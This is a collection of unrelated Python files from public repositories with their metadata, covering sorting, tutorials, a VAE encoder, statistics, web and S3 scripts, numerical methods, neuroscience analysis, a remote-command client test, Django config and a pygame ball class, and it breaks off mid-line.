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#삽입정렬 arr = [7, 5, 9, 0, 3, 1, 6, 2, 4, 8] for i in range(len(arr)): for j in range(i,0,-1): if arr[j]<arr[j-1]: #한칸씩 왼쪽으로 이동 arr[j],arr[j-1]=arr[j-1],arr[j] else: break print(arr) print("최종") print(arr)

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''' Список - упорядоченная структура данных, заключенная в квадратные скобочки. Элементы разделены между собой запятой. Чтобы создать список, необходимо придумать ему имя, поставить знак принадлежности (=) и открыть квадратные скобки. список = [1, 26, 15, 5.6, 'привет, Андрей'] ''' cars = ['audi', 'mercedes', 'toyota', 'skoda', 'seat'] # хочу вывести весь список print(cars) # хочу вывести из списка тойоту print(cars[2]) print(cars[-1]) # вывести последний элемент списка import random # модуль рандом создает случайности print('My first car was', cars[random.randint(0, 4)]) # randint(a, b) - выдать случайное число (random int) # в диапазоне от a до b print(random.randint(-100, 100))

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from torch import nn import torch class Encoder(nn.Module): def __init__(self, num_channel=3, num_feature=64, latent_dim=100, data_parallel=True): super(Encoder, self).__init__() features = nn.Sequential( # input is (num_channel) x 64 x 64 nn.Conv2d(num_channel, num_feature, 4, 2, 1, bias=False), nn.LeakyReLU(0.2, inplace=True), # state size. (num_feature) x 32 x 32 nn.Conv2d(num_feature, num_feature * 2, 4, 2, 1, bias=False), nn.BatchNorm2d(num_feature * 2), nn.LeakyReLU(0.2, inplace=True), # state size. (num_feature*2) x 16 x 16 nn.Conv2d(num_feature * 2, num_feature * 4, 4, 2, 1, bias=False), nn.BatchNorm2d(num_feature * 4), nn.LeakyReLU(0.2, inplace=True), # state size. (num_feature*4) x 8 x 8 nn.Conv2d(num_feature * 4, num_feature * 8, 4, 2, 1, bias=False), nn.BatchNorm2d(num_feature * 8), nn.LeakyReLU(0.2, inplace=True), ) z_mean_map = nn.Sequential( # state size. (num_feature*8) x 4 x 4 nn.Conv2d(num_feature * 8, latent_dim, 4, 1, 0, bias=True), ) z_log_sigma_map = nn.Sequential( # state size. (num_feature*8) x 4 x 4 nn.Conv2d(num_feature * 8, latent_dim, 4, 1, 0, bias=True), ) if data_parallel: self.features = nn.DataParallel(features) self.z_mean_map = nn.DataParallel(z_mean_map) self.z_log_sigma_map = nn.DataParallel(z_log_sigma_map) else: self.features = features self.z_mean_map = z_mean_map self.z_log_sigma_map = z_log_sigma_map for name, param in self.named_parameters(): if 'conv' in name and 'weight' in name: nn.init.xavier_normal_(param.data) elif 'norm' in name and 'weight' in name: param.data.fill_(1) elif 'norm' in name and 'bias' in name: param.data.fill_(0) def forward(self, input): features = self.features(input) mu = self.z_mean_map(features) log_sigma = self.z_mean_map(features) sigma = torch.exp(log_sigma) std_z = torch.randn(mu.size()) if mu.is_cuda: std_z = std_z.cuda() z_sample = mu+std_z*sigma return features, mu, log_sigma, sigma,z_sample

[ "fenghz@zju.edu.cn" ]

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from twilio.rest import Client import os accountSID = os.environ["TWILIO_SID"] authToken = os.environ["TWILIO_TOKEN"] myTwilioNumber = os.environ["TWILIO_NUMBER"] myCellPhone = os.environ["my_number"] def send_end_alert(project_name, body='Default', accountSID=accountSID, authToken=authToken, myTeilioNumber=myTwilioNumber, myCellPhone=myCellPhone): if body != 'Default': body = body else: body = 'Your project, {}, has completed!'.format(project_name) twilioCli = Client(accountSID, authToken) message = twilioCli.messages.create(body=body, from_=myTwilioNumber, to=myCellPhone) return message if __name__ == '__main__': send_end_alert('test')

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# -*- coding:utf-8 -*- ''' log api example: log('output is: ' + str(output)) ''' from scipy.stats import t as T from scipy.stats import f import numpy as np class Solution(): def solve(self): t_2010 = ['6.0', '17.3', '104.3', '101.0', '120.4', '91.9', '30.0', '41.9', '23.9', '101.2', '67.7', '48.7', '39.9', '49.0', '136.6', '117.6', '52.7', '64.9', '101.3', '83.5', '2.1', '58.6', '94.6', '62.4', '41.8', '0.2', '74.2', '40.1', '12.7', '27.8', '51.5'] t_2014 = ['52041', '207793', '176469', '88880', '96190', '130672', '57246', '65987', '172867', '110665', '82021', '41483', '76043', '40756', '81118', '106123', '96222', '21173', '65589', '33045', '1798', '494415', '52040', '70603', '102842', '930', '69103', '72148', '71839', '92369', '74216'] d = [] for i in range(len(t_2010)): d.append(float(t_2014[i]) - float(t_2010[i]) * 10000) # print d meanD = np.average(d) Sd = np.std(d, ddof=1) n = len(d) t = meanD / (Sd / np.sqrt(n)) if t > T.isf(0.05, n - 1): return [t, 'YES'] else: return [t, 'NO'] so = Solution() print so.solve()

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# -*- coding: utf-8 -*- """ Created on Sat Jan 23 12:07:25 2021 @author: andy """ # Generated by Selenium IDE import pytest import time import json from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.support import expected_conditions from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from bs4 import BeautifulSoup import pandas as pd import os import glob import shutil import pandas as pd from pathlib import Path import re import matplotlib.pyplot as plt import numpy as np import math from datetime import datetime from os import path from docx import Document from sklearn.linear_model import LinearRegression #LDA Imports import gensim import nltk from gensim.utils import simple_preprocess from gensim.parsing.preprocessing import STOPWORDS from nltk.stem import WordNetLemmatizer, SnowballStemmer from nltk.stem.porter import * import numpy as np from gensim import corpora, models from pprint import pprint np.random.seed(2018) #nltk.download('wordnet') #plot import matplotlib.pyplot as plt import seaborn as sns #Lexicon sentiment analysis from afinn import Afinn from textblob import TextBlob import pandas as pd from pprint import pprint import pystan from scipy.special import expit from matplotlib import pyplot as plt from numpy.random import normal, randint, binomial, choice from numpy import percentile, concatenate, array, linspace, append #%matplotlib inline from sklearn.metrics import r2_score x_axis = linspace(-10, 10, 100) plt.plot(x_axis, expit(x_axis)) plt.xlabel('x') plt.xlim([-6, 6]) plt.ylabel('logistic(x)') plt.title('The logistic function', fontsize=15) x_axis = linspace(-10, 10, 100) plt.plot(x_axis, expit(x_axis)) plt.xlabel('x') plt.xlim([-6, 6]) plt.ylabel('logistic(x)') plt.title('The logistic function', fontsize=15) binary_irt_model = pystan.StanModel(file="binary_irt.stan")

[ "andy@jivedive.local" ]

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#pandasSeriesVsDataFrame.py import numpy as np import pandas as pd dataDict = {"range":np.arange(10)} dataSeries = pd.Series(dataDict) print(dataSeries) print(dataSeries["range"]) dataDF=pd.DataFrame(dataDict) print(dataDF) print(dataDF["range"]) print(dataDF["range"][5:9]) #print(dataDF.loc[5:9])

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import sys benchmarks = [ ('fillseq', '100'), ('fillseq', '1024'), ('fillrandom', '100'), ('fillrandom', '1024'), ('overwrite', '100'), ('overwrite', '1024'), ('readseq', '100'), ('readseq', '1024'), ('readrandom', '100'), ('readrandom', '1024'), ('deleteseq', '100'), ('deleteseq', '1024'), ('deleterandom', '100'), ('deleterandom', '1024'), ] if __name__ == "__main__": if len(sys.argv) != 2: print "python %s output_file" % sys.argv[0] sys.exit(1) outfile_name = sys.argv[1] # fillrandom : 15.140 micros/op 66048 ops/sec; 65.5 MB/s # fillrandom : 15.140 micros/op 66051 ops/sec; 65.5 MB/s # fillrandom : 15.100 micros/op 66225 ops/sec; 65.7 MB/s # fillrandom : 15.047 micros/op 66460 ops/sec; 65.9 MB/s files = [] tputs = [] for name, val_size in benchmarks: file_name = '%s_%s.txt' % (name, val_size) files.append(file_name) tput = 0 try: with open(file_name) as f: lines = f.readlines()[-4:] for line in lines: words = line.strip().split() bench_name = words[0] assert bench_name == name tput += int(words[4]) except: tput = 0 tputs.append(tput) files.insert(0, 'AverageThroughput') print tputs mean = int(sum(tputs) / len(tputs)) print "avg: %d ops/sec" % mean tputs.insert(0, mean) tputs = map(lambda x: str(x), tputs) with open(outfile_name, 'w') as f: f.write("%s\n" % ",".join(files)) f.write("%s\n" % ",".join(tputs))

[ "juk146@eng.ucsd.edu" ]

juk146@eng.ucsd.edu

137acc6d4721ec38018a668237bf95435195db61

6f2a072148725d98d2bc96235fde4e0d83aa9bbd

/lib/assets/scoring.py

ce268a59ff200a95cdabcb147bf66a9dc28f670e

[]

no_license

jjh5166/prempicks

1fbf86fb4fe2eec952245f7ed9d4c9441a03257c

24b8951b57049a2d3872b917e7ad1e79156f2f53

refs/heads/master

2023-01-22T02:59:15.803754

2021-01-11T21:01:14

144,220,632

0

null

2023-01-19T14:06:00

2018-08-10T01:20:46

Ruby

UTF-8

Python

false

3,060

py

import http.client, sys, os, json, boto3 from os.path import join, dirname from dotenv import load_dotenv dotenv_path = join(dirname(__name__), '.env') load_dotenv(dotenv_path) APIkey = str(os.getenv('FOOTBALL_API_KEY')) AwsAccessKeyID = str(os.getenv('AWS_ACCESS_KEY_ID')) AwsSecretAccessKey = str(os.getenv('AWS_SECRET_ACCESS_KEY')) AwsRegion = str(os.getenv('AWS_REGION')) AwsBucket = str(os.getenv('S3_BUCKET')) matchday = str(sys.argv[1]) request_string = f'/v2/competitions/PL/matches/?matchday={matchday}' connection = http.client.HTTPConnection('api.football-data.org') headers = {'X-Auth-Token': APIkey} connection.request('GET', request_string, None, headers) response = json.loads(connection.getresponse().read().decode()) s3 = boto3.resource( 's3', region_name=AwsRegion, aws_access_key_id=AwsAccessKeyID, aws_secret_access_key=AwsSecretAccessKey ) with open('app/assets/data/code_to.json') as jfile: teamcodes = json.load(jfile) content = s3.Object(AwsBucket, 'lastyr.json') file_content = content.get()['Body'].read().decode('utf-8') lastszn = json.loads(file_content)['standings'] topSix = lastszn[:6] newThree = lastszn[17:] class ScoreMatch: def __init__(self, data): self.hGoals = data['score']['fullTime']['homeTeam'] self.aGoals = data['score']['fullTime']['awayTeam'] self.hTeam = teamcodes[str(data['homeTeam']['id'])]['abv'] self.aTeam = teamcodes[str(data['awayTeam']['id'])]['abv'] if self.hGoals == self.aGoals: self.draw(data) else: self.tally(self.hGoals, self.aGoals) self.assignTeams(data, self.diff) self.topSixOrNew(self.wTeam, self.lTeam) def draw(self, data): self.wTeam = teamcodes[str(data['homeTeam']['id'])]['abv'] self.lTeam = teamcodes[str(data['awayTeam']['id'])]['abv'] self.wScore = self.lScore = 1 def tally(self, goals1, goals2): self.diff = goals1-goals2 cs = True if goals1*goals2 == 0 else False self.wScore = 3 if abs(self.diff) >= 3 else 2 if cs: self.wScore += 1 self.lScore = -4 if abs(self.diff) >= 3 else -3 def topSixOrNew(self, winner, loser): if loser in topSix: self.lScore -= 1 self.wScore += 1 if winner in newThree: self.wScore += 1 def assignTeams(self, data, diff): if diff > 0: self.wTeam = teamcodes[str(data['homeTeam']['id'])]['abv'] self.lTeam = teamcodes[str(data['awayTeam']['id'])]['abv'] else: self.wTeam = teamcodes[str(data['awayTeam']['id'])]['abv'] self.lTeam = teamcodes[str(data['homeTeam']['id'])]['abv'] scores = {} for m in response['matches']: if m['status'] == "FINISHED": match = ScoreMatch(m) scores[match.wTeam] = match.wScore scores[match.lTeam] = match.lScore scores_json = json.dumps(scores) filename = 'scores/matchday' + matchday + '.json' s3.Object(AwsBucket, filename).put(Body=scores_json)

[ "jjh5166@gmail.com" ]

jjh5166@gmail.com

23880f4bb3b0fbc30871786ed1a37bc44186075e

19651a8d1eabe37f74dc7562c2bf3b5dcb990b32

/newton-jakobi.py

70c4afc5f7fadfbe2a2583978042a64cfb2769b3

[]

no_license

damoklov/numeric-methods

b9f7571244da8da65b6fed31747c45eaefa7973d

3b9cde027ed1330862487f8b9eb72ddc66a95b25

refs/heads/master

2023-02-11T19:15:29.305119

2020-12-28T12:22:25

311,182,365

1

0

null

UTF-8

Python

false

6,754

py

def f1(x1, x2): return x2**2 - x1**2 - 0.1 - x1 def f2(x1, x2): return 0.1 - 2*x1*x2 - x2 def newton_jakobi(): eps = 0.001 argument_vector = [0.5, 0.5] prev_vector = [0, 0] identity_matrix = initialize_matrix() f = [0, 0] while True: f[0] = f1(argument_vector[0], argument_vector[1]) f[1] = f2(argument_vector[0], argument_vector[1]) jacobian = build_jacobian(argument_vector, f) reversed_jacobian = reverse_matrix(jacobian, identity_matrix) for i in range(len(f)): x_old = argument_vector[i] prev_vector[i] = x_old increment = 0.0 for j in range(2): increment += reversed_jacobian[i][j] * f[i] argument_vector[i] = prev_vector[i] - increment if abs((argument_vector[0] - prev_vector[0])/argument_vector[0]) < eps: break elif abs((argument_vector[1] - prev_vector[1])/argument_vector[1]) < eps: break print(argument_vector) print(f1(argument_vector[0], argument_vector[1])) print(f2(argument_vector[0], argument_vector[1])) def build_jacobian(argument_vector, function_vector): h = 1 args = [0, 0] f = [0, 0] jacobian = [[0, 0], [0, 0]] for i in range(2): for j in range(2): for k in range(2): args[k] = argument_vector[k] args[j] = argument_vector[j] + h f[0] = f1(args[0], args[1]) f[1] = f2(args[0], args[1]) jacobian[i][j] = (f[i] - function_vector[i])/h return jacobian def initialize_matrix(): matrix = [[0 for _ in range(4)] for _ in range(4)] for i in range(len(matrix)): for j in range(len(matrix[i])): if i == j: matrix[i][j] = 1 else: matrix[i][j] = 0 return matrix def reverse_matrix(matrix, identity_matrix): size = len(matrix) reversed_matrix = [[0 for _ in range(size)] for _ in range(size)] for i in range(size): solution = roots(i, matrix, identity_matrix) for j in range(len(solution)): reversed_matrix[j][i] = solution[j] return reversed_matrix def roots(counter, matrix, identity_matrix): size = len(matrix) coefficients = [[0 for _ in range(size)] for _ in range(size)] free_members = [0 for _ in range(size)] argument_positions = [0 for _ in range(size)] result_coefficients = [[0 for _ in range(size)] for _ in range(size)] result_free_members = [0 for _ in range(size)] free_members, coefficients, argument_positions = initialize_system( free_members, identity_matrix, counter, argument_positions, coefficients, matrix) result_free_members, free_members, coefficients, result_coefficients = direct_way( result_free_members, free_members, coefficients, result_coefficients, argument_positions, size) result = reverse_way(result_free_members, result_coefficients) result, argument_positions = order_vector(result, argument_positions) return result def order_vector(result, argument_positions): for i in range(len(result)): if argument_positions != i: arg = argument_positions[i] value = result[i] result[i] = result[arg] result[arg] = value argument_positions[i] = argument_positions[arg] argument_positions[arg] = arg return result, argument_positions def direct_way(result_free_members, free_members, coefficients, result_coefficients, argument_positions, size): for i in range(size): coefficients, free_members, argument_positions, result_coefficients = optimize_matrix( i, coefficients, free_members, argument_positions, result_coefficients, size) result_free_members[i] = free_members[i] / coefficients[i][i] for j in range(i + 1, size): free_members[j] = free_members[j] - coefficients[j][i] * result_free_members[i] for k in range(i + 1, size): result_coefficients[i][k] = coefficients[i][k] / coefficients[i][i] coefficients[j][k] = coefficients[j][k] - coefficients[j][i] * result_coefficients[i][k] return result_free_members, free_members, coefficients, result_coefficients def reverse_way(result_free_members, result_coefficients): size = len(result_free_members) solution = [0 for _ in range(size)] for i in range(size -1, -1, -1): sum = 0.0 for j in range(i + 1, size): sum += result_coefficients[i][j] * solution[j] solution[i] = result_free_members[i] - sum return solution def initialize_system(free_members, identity_matrix, counter, argument_positions, coefficients, matrix): size = len(matrix) for i in range(size): free_members[i] = identity_matrix[i][counter] argument_positions[i] = i for j in range(size): coefficients[i][j] = matrix[i][j] return free_members, coefficients, argument_positions def optimize_matrix(r, coefficients, free_members, argument_positions, result_coefficients, size): max_coefficient = coefficients[r][r] max_row = r max_col = r for i in range(size): for j in range(size): if max_coefficient < abs(coefficients[i][j]): max_coefficient = abs(coefficients[i][j]) max_row = i max_col = j free_members = swap_array_values(free_members, r, max_row) for l in range(size): coefficients = swap_matrix_values_row(coefficients, r, max_row, l) argument_positions = swap_argument_positions(argument_positions, r, max_col) for m in range(size): if m < r: result_coefficients = swap_matrix_values_columns(result_coefficients, m, r, max_col) else: coefficients = swap_matrix_values_columns(coefficients, m, r, max_col) return coefficients, free_members, argument_positions, result_coefficients def swap_matrix_values_columns(matrix, r, fc, sc): temp = matrix[r][fc] matrix[r][fc] = matrix[r][sc] matrix[r][sc] = temp return matrix def swap_argument_positions(argument_positions, r, max_col): temp = argument_positions[r] argument_positions[r] = argument_positions[max_col] argument_positions[max_col] = temp return argument_positions def swap_array_values(free_members, fc, sc): temp = free_members[fc] free_members[fc] = free_members[sc] free_members[sc] = temp return free_members def swap_matrix_values_row(matrix, fc, sc, col): temp = matrix[fc][col] matrix[fc][col] = matrix[sc][col] matrix[sc][col] = temp return matrix if __name__ == '__main__': newton_jakobi()

[ "mishanya@protonmail.com" ]

mishanya@protonmail.com

aa2900526f8aa579b7ea48f1111b139ef3a08d84

ea96439b3fe8745e06875aa8913d487c2715d2fc

/NeuroAnalysisTools/scripts/analysis_database/0150_plot_ori_vs_rf_axis_DS.py

bb4e8680d69bc7cc65c1d6de2cc656954ee14eb7

[]

no_license

zhuangjun1981/NeuroAnalysisTools

00561ddd1ee8339b5c2c7ab5d7318ac207460c5c

0c7acdb745ef93e009ec538af11252e743f9d430

refs/heads/master

2022-07-18T05:55:22.200409

2022-07-07T23:01:29

226,148,154

14

2

null

UTF-8

Python

false

5,877

py

import os import pandas as pd import numpy as np import matplotlib.pyplot as plt import NeuroAnalysisTools.SingleCellAnalysis as sca import scipy.stats as stats import h5py # df_path = r"G:\bulk_LGN_database\dataframe_190530171338.csv" # rf_maps_folder = r"intermediate_results\rf_maps_dataframes_190529210731" df_path = r"G:\bulk_LGN_database\dataframe_190530171338_axon_AllStimuli_DistanceThr_1.30.csv" rf_maps_folder = r"G:\bulk_LGN_database\intermediate_results" \ r"\rf_maps_dataframe_190530171338_axon_AllStimuli_DistanceThr_1.30" depths = [50, 100, 150, 200, 250, 300, 350, 400,] mouse_ids = ['M360495', 'M376019', 'M386444', 'M426525', 'M439939', 'M439943'] # mouse_ids = ['M439939'] dire_type = 'peak_dire' # 'vs_dire' or 'peak_dire' response_dir = 'pos' response_type = 'dff' post_process_type = 'ele' # 'raw', 'ele' or 'rec' skew_thr = 0.6 dgc_peak_z_thr = 3. dgc_p_anova_thr = 0.01 dsi_type = 'gdsi' dsi_thr = 0.5 osi_type = 'gosi' osi_thr = 1. / 3. ellipse_aspect_thr = 1.0 curr_folder = os.path.dirname(os.path.realpath(__file__)) os.chdir(curr_folder) if dire_type == 'peak_dire' and (post_process_type == 'ele' or post_process_type == 'rec'): dire_pp = 'raw' else: dire_pp = post_process_type print('loading csv file: {}'.format(df_path)) df = pd.read_csv(df_path) print('csv file loaded.') df = df[(df['mouse_id'].isin(mouse_ids)) & \ (df['skew_fil'] >= skew_thr) & \ (df['dgc_{}_peak_z'.format(response_dir)] >= dgc_peak_z_thr) & \ (df['dgc_p_anova_{}'.format(response_type)] <= dgc_p_anova_thr) & \ (np.isfinite(df['rf_{}_on_peak_z'.format(response_dir)]))] dsdf = df[(df['dgc_{}_{}_{}_{}'.format(response_dir, dsi_type, post_process_type, response_type)] >= dsi_thr)] ds_diff_onoff = [] ds_diff_on = [] ds_diff_off = [] for roi_i, roi_row in dsdf.iterrows(): date = int(roi_row['date']) mid = roi_row['mouse_id'] plane_n = roi_row['plane_n'] roi_n = roi_row['roi_n'] map_fn = '{}_{}_{}_{}'.format(date, mid, plane_n, response_dir) map_f = h5py.File(os.path.join(rf_maps_folder, map_fn + '.hdf5'), 'r') on_grp = map_f['{}_ON'.format(map_fn)] off_grp = map_f['{}_OFF'.format(map_fn)] dire = roi_row['dgc_{}_{}_{}_{}'.format(response_dir, dire_type, dire_pp, response_type)] ori = sca.dire2ori(dire) if roi_n in on_grp.keys() and roi_n in off_grp.keys(): rf_on = sca.SpatialReceptiveField.from_h5_group(on_grp[roi_n]) rf_off = sca.SpatialReceptiveField.from_h5_group(off_grp[roi_n]) c_alt_on, c_azi_on = rf_on.get_weighted_rf_center() c_alt_off, c_azi_off = rf_off.get_weighted_rf_center() onoff_ang = np.arctan((c_alt_on - c_alt_off) / (c_azi_on - c_azi_off)) onoff_ang = onoff_ang * 180. / np.pi onoff_ang = sca.dire2ori(onoff_ang) curr_diff = abs(onoff_ang - ori) if curr_diff > 90.: curr_diff = 180 - curr_diff ds_diff_onoff.append(curr_diff) elif roi_n in on_grp.keys(): rf_on = sca.SpatialReceptiveField.from_h5_group(on_grp[roi_n]) ell_on = rf_on.ellipse_fitting(is_plot=False) if ell_on is not None and ell_on.get_aspect_ratio() >= ellipse_aspect_thr: curr_diff = abs(ell_on.angle - ori) if curr_diff > 90.: curr_diff = 180 - curr_diff ds_diff_on.append(curr_diff) elif roi_n in off_grp.keys(): rf_off = sca.SpatialReceptiveField.from_h5_group(off_grp[roi_n]) ell_off = rf_off.ellipse_fitting(is_plot=False) if ell_off is not None and ell_off.get_aspect_ratio() >= ellipse_aspect_thr: curr_diff = abs(ell_off.angle - ori) if curr_diff > 90.: curr_diff = 180 - curr_diff ds_diff_off.append(curr_diff) print('\nDirection Selective ROIs:') print('\tWith ONOFF receptive fields:') print('\t\tn={}'.format(len(ds_diff_onoff))) print('\t\torie difference predicted vs. measured, mean={}'.format(np.mean(ds_diff_onoff))) print('\t\torie difference predicted vs. measured, std={}'.format(np.std(ds_diff_onoff))) chisq_ds_onoff, p_ds_onoff = stats.chisquare(np.histogram(ds_diff_onoff, range=[0., 90.], bins=20)[0]) print('\t\tagainst uniform distribution: chi-squared={}, p={}'.format(chisq_ds_onoff, p_ds_onoff)) print('\tWith only ON receptive fields:') print('\t\tn={}'.format(len(ds_diff_on))) print('\t\torie difference predicted vs. measured, mean={}'.format(np.mean(ds_diff_on))) print('\t\torie difference predicted vs. measured, std={}'.format(np.std(ds_diff_on))) chisq_ds_on, p_ds_on = stats.chisquare(np.histogram(ds_diff_on, range=[0., 90.], bins=20)[0]) print('\t\tagainst uniform distribution: chi-squared={}, p={}'.format(chisq_ds_on, p_ds_on)) print('\tWith only OFF receptive fields:') print('\t\tn={}'.format(len(ds_diff_off))) print('\t\torie difference predicted vs. measured, mean={}'.format(np.mean(ds_diff_off))) print('\t\torie difference predicted vs. measured, std={}'.format(np.std(ds_diff_off))) chisq_ds_off, p_ds_off = stats.chisquare(np.histogram(ds_diff_off, range=[0., 90.], bins=20)[0]) print('\t\tagainst uniform distribution: chi-squared={}, p={}'.format(chisq_ds_off, p_ds_off)) ds_diff_all = ds_diff_onoff + ds_diff_on + ds_diff_off print('\tWith all receptive fields:') print('\t\tn={}'.format(len(ds_diff_all))) print('\t\torie difference predicted vs. measured, mean={}'.format(np.mean(ds_diff_all))) print('\t\torie difference predicted vs. measured, std={}'.format(np.std(ds_diff_all))) chisq_ds_all, p_ds_all = stats.chisquare(np.histogram(ds_diff_all, range=[0., 90.], bins=20)[0]) print('\t\tagainst uniform distribution: chi-squared={}, p={}'.format(chisq_ds_all, p_ds_all)) plt.hist([ds_diff_onoff, ds_diff_on, ds_diff_off], range=[0, 90], bins=20, stacked=True, color=['purple', 'r', 'b'], ec='none', alpha=0.5) plt.show()

[ "wood_stocker@hotmail.com" ]

wood_stocker@hotmail.com

7ccca3ee25e9eb35c488266d7448ee7645100a6d

9ae680db168db40ae8feae0dc9cb42dacabbd012

/functest.py

9aa06fc03d61aa5f6d9c42e005721d6c117b51c7

[]

no_license

tonysimpson/pyras

5ed4ec212b916ecb5eb3b9db8e05b43d585bb8a8

defbddffa04aa50c108138a63c3dd76957615994

refs/heads/master

2021-01-18T13:54:55.572472

2014-06-13T09:12:53

5,888,372

1

0

null

2014-06-13T09:10:21

2012-09-20T15:07:52

Python

UTF-8

Python

false

1,078

py

# use ipython -i functest.py import pyras client = pyras.RemoteCommandClient('127.0.0.1') print client.info() client.register('echo "Hello"') print client.info() client.start(1) client.register('while true; do echo "oh no!"; done') print client.info() client.start(2) print client.info() client.stop(2) client.run('echo "hello"') client.unregister(2) print client.info() client.register('echo "1"', 'group1') client.register('echo "2"', 'group1') client.register('echo "3"', 'group1') client.register('echo "4"', 'group1') client.register('echo "5"', 'group1') client.register('echo "6"', 'group1') client.register('echo "7"', 'group1') print client.info() client.start_group('group1') client.register('echo "8"', 'group1') client.register('echo "9"', 'group1') client.stop_group('group1') client.start_group('group1') print client.info() print client.read('README.md', 0, 20) print client.read_end('README.md', 20) cid = client.register(r'for i in `seq 4`; do (while true; do echo $i; done &) ; done') client.start(cid) print client.info() client.stop(cid) print client.info()

[ "agjasimpson@gmail.com" ]

agjasimpson@gmail.com

3b07e931dae87dcef3d537f0fd4eb5ac052fa0ae

00d7e9321d418a2d9a607fb9376b862119f2bd4e

/sandbox/launcher_crap.py

7024adf4c0e3f981f6383ef806bc67fc73597616

[ "MIT" ]

permissive

baluneboy/pims

92b9b1f64ed658867186e44b92526867696e1923

5a07e02588b1b7c8ebf7458b10e81b8ecf84ad13

refs/heads/master

2021-11-16T01:55:39.223910

2021-08-13T15:19:48

33,029,780

0

null

UTF-8

Python

false

1,405

py

import urwid palette = [('header', 'white', 'black'), ('reveal focus', 'black', 'dark cyan', 'standout')] menu = {"121f02, 200Hz": 'do 121f02, 200Hz', "121f03, 200Hz": 'do 121f03, 200Hz', "121f04, 200Hz": 'do 121f04, 200Hz'} items = [urwid.Text(k) for k in menu.keys()] content = urwid.SimpleListWalker([urwid.AttrMap(w, None, 'reveal focus') for w in items]) listbox = urwid.ListBox(content) show_key = urwid.Text("Press any key", wrap='clip') head = urwid.AttrMap(show_key, 'header') top = urwid.Frame(listbox, head) def show_all_input(input, raw): show_key.set_text("Pressed: " + " ".join([ str(i) for i in input])) return input def exit_on_cr(input): if input in ('q', 'Q'): raise SystemExit elif input == 'up': focus_widget, idx = listbox.get_focus() if idx > 0: idx = idx-1 listbox.set_focus(idx) elif input == 'down': focus_widget, idx = listbox.get_focus() idx = idx+1 if idx > len(items)-1: idx = 0 listbox.set_focus(idx) elif input == 'enter': raise urwid.ExitMainLoop() def out(s): show_key.set_text(str(s)) loop = urwid.MainLoop(top, palette, input_filter=show_all_input, unhandled_input=exit_on_cr) loop.run() print(menu[items[listbox.get_focus()[1]].get_text()[0]])

[ "pims@mimsy.tsc.grc.nasa.gov" ]

pims@mimsy.tsc.grc.nasa.gov

e02299e147fabe086c8864cff41d59b0059baa48

4da0c8906c9cd671e3a4bee3a6ee801a353e3d9a

/Water/Water/urls.py

8ce00454b8099894f86046e7d4be2dfd650f7cf9

[]

no_license

avpakh/GVK

2a5a699caa8a986a3fd0dadbe2160fc9da5bf193

ac8b8d8ad5cd5ef8485e98cd532a29cd420e0cae

refs/heads/master

2020-06-13T10:35:36.663668

2017-01-06T09:01:42

75,392,559

0

null

UTF-8

Python

false

1,335

py

"""Water URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.9/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.conf.urls import url, include 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) """ from django.conf.urls import url,include from django.contrib import admin from watres import urls as watres_url from watstat import urls as watstat_url from watres import views from django.conf.urls.static import static from django.conf import settings from django.contrib.staticfiles.urls import staticfiles_urlpatterns urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^$',views.index_view), url(r'^watres/',include(watres_url)), url(r'^watstat/',include(watstat_url)), ] if settings.DEBUG: if settings.MEDIA_ROOT: urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) urlpatterns += staticfiles_urlpatterns()

[ "aliaksandr.pakhomau@gmail.com" ]

aliaksandr.pakhomau@gmail.com

7f168e5086d999df72156adf6973e55195c755a1

42a41febceba5e1ae9e410a1b07868e4e4955af1

/NomticketDjangoAPP/core/migrations/0019_empleado_nombreusuario.py

9efce0188efd1b5f211e6eb513cb6315b6e46642

[]

no_license

ignacio1985/NomTicket_Django

f06fff185a3e15bb7b8d28c9dfa34000c2eb8d37

38600a89c4219952f3ff4fbac7b92fc7b00b3920

refs/heads/main

2023-04-09T07:35:48.448970

2021-04-23T03:16:44

null

0

null

UTF-8

Python

false

484

py

# Generated by Django 3.1.2 on 2021-04-18 18:44 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('CORE', '0018_auto_20210418_1354'), ] operations = [ migrations.AddField( model_name='empleado', name='nombreUsuario', field=models.CharField(default=0, max_length=30, unique=True, verbose_name='Nombre de usuario'), preserve_default=False, ), ]

[ "williams.parra.parra@gmail.com" ]

williams.parra.parra@gmail.com

9579a5ea7fad7a79327c9acb00f549bdbc62ea29

6b9ee9e92d0c0075b7098f43c7b0cd3cd49b4f63

/ball.py

ab81587f8faf0ae9f6f2ccec3ddecc81faaef82e

[]

no_license

dohyunmoo/Bouncing-Balls

429c5f9c6adf3afbb958ce858f962f221c8c9f35

5dc081a7a6b54bf18d360a984f9c30f9141d2829

refs/heads/main

2023-02-17T21:52:48.607727

2021-01-08T13:18:42

327,908,171

0

null

UTF-8

Python

false

2,177

py

import pygame import random pygame.init() class Ball: def __init__(self, radius, color, startingx, startingy, friction, weight): self.radius = radius self.diameter = radius*2 self.color = color self.x = startingx self.y = startingy self.vx = friction self.vy = weight self.yspeed = 0 self.xspeed = 0 def draw(self, win, width, height): minimumx = self.radius maximumx = width - self.radius minimumy = self.radius maximumy = height - self.radius if self.xspeed >= 0 and self.xspeed != 0: self.xspeed -= self.vx elif self.xspeed < 0 and self.xspeed != 0: self.xspeed += self.vx self.x += self.xspeed self.yspeed += self.vy self.y += self.yspeed self.collision(width, height, minimumx, maximumx, minimumy, maximumy) if self.x >= maximumx: self.x = maximumx if self.y >= maximumy: self.y = maximumy pygame.draw.circle(win, self.color, (self.x, self.y), self.radius) def collision(self, width, height, xmin, xmax, ymin, ymax): if self.x <= xmin or self.x >= xmax: self.xspeed *= -1 if self.xspeed >= 0 and self.xspeed != 0: self.xspeed -= self.vx elif self.xspeed < 0 and self.xspeed != 0: self.xspeed += self.vx self.x += self.xspeed elif self.y >= ymax: self.yspeed *= -1 self.yspeed += self.vy self.y += self.yspeed def addForce(self, pos): if (pos[0] <= self.x + self.radius and pos[0] >= self.x - self.radius) and (pos[1] <= self.y + 